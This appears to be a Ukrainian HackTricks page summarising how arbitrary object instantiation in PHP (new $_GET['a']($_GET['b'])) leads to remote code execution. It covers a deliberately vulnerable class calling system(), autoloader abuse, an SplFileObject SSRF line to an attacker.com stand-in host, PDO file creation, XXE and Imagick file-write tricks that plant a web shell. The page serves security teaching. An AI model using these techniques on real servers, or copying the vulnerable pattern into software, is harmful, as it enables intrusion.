PHP - RCE зловживання створенням об'єктів: new $_GET["a"]($_GET["b"])
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Це, по суті, резюме https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Вступ
Створення нових довільних об'єктів, таких як new $_GET["a"]($_GET["a"])
, може призвести до віддаленого виконання коду (RCE), як детально описано в writeup. Цей документ підкреслює різні стратегії для досягнення RCE.
RCE через користувацькі класи або автозавантаження
Синтаксис new $a($b)
використовується для створення об'єкта, де $a
представляє ім'я класу, а $b
є першим аргументом, переданим конструктору. Ці змінні можуть бути отримані з введення користувача, таких як GET/POST, де вони можуть бути рядками або масивами, або з JSON, де вони можуть представлятися як інші типи.
Розгляньте фрагмент коду нижче:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
У цьому випадку, встановлення $a
на App
або App2
і $b
на системну команду (наприклад, uname -a
) призводить до виконання цієї команди.
Функції автозавантаження можуть бути використані, якщо такі класи не є безпосередньо доступними. Ці функції автоматично завантажують класи з файлів за потреби і визначаються за допомогою spl_autoload_register
або __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Поведение автозавантаження варіюється в залежності від версій PHP, пропонуючи різні можливості RCE.
RCE через вбудовані класи
Відсутність користувацьких класів або автозавантажувачів, вбудовані класи PHP можуть бути достатніми для RCE. Кількість цих класів коливається від 100 до 200, залежно від версії PHP та розширень. Їх можна перерахувати за допомогою get_declared_classes()
.
Конструктори, що представляють інтерес, можна ідентифікувати через API рефлексії, як показано в наступному прикладі та за посиланням https://3v4l.org/2JEGF.
RCE через специфічні методи включає:
SSRF + Phar десеріалізація
Клас SplFileObject
дозволяє SSRF через свій конструктор, що дозволяє підключення до будь-якого URL:
new SplFileObject('http://attacker.com/');
SSRF може призвести до атак десеріалізації в версіях PHP до 8.0, використовуючи протокол Phar.
Використання PDO
Конструктор класу PDO дозволяє підключення до баз даних через рядки DSN, що потенційно дозволяє створення файлів або інші взаємодії:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Версії PHP до 5.3.22 та 5.4.12 були вразливими до атак XXE через конструктори SoapClient
та SimpleXMLElement
, залежно від версії libxml2.
RCE через розширення Imagick
В аналізі залежностей проєкту було виявлено, що Imagick може бути використаний для виконання команд шляхом створення нових об'єктів. Це створює можливість для експлуатації вразливостей.
VID парсер
Було виявлено, що можливість VID парсера записувати вміст у будь-який вказаний шлях у файловій системі. Це може призвести до розміщення PHP shell у каталозі, доступному через веб, що досягає віддаленого виконання коду (RCE).
VID Parser + Завантаження файлів
Зазначено, що PHP тимчасово зберігає завантажені файли в /tmp/phpXXXXXX
. VID парсер в Imagick, використовуючи msl протокол, може обробляти шаблони в шляхах файлів, що полегшує передачу тимчасового файлу до вибраного місця. Цей метод пропонує додатковий підхід для досягнення довільного запису файлів у файловій системі.
PHP Збій + Брутфорс
Метод, описаний у оригінальному звіті, передбачає завантаження файлів, які викликають збій сервера перед видаленням. За допомогою брутфорсу імені тимчасового файлу, стає можливим для Imagick виконати довільний PHP код. Однак цей метод виявився ефективним лише в застарілій версії ImageMagick.
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.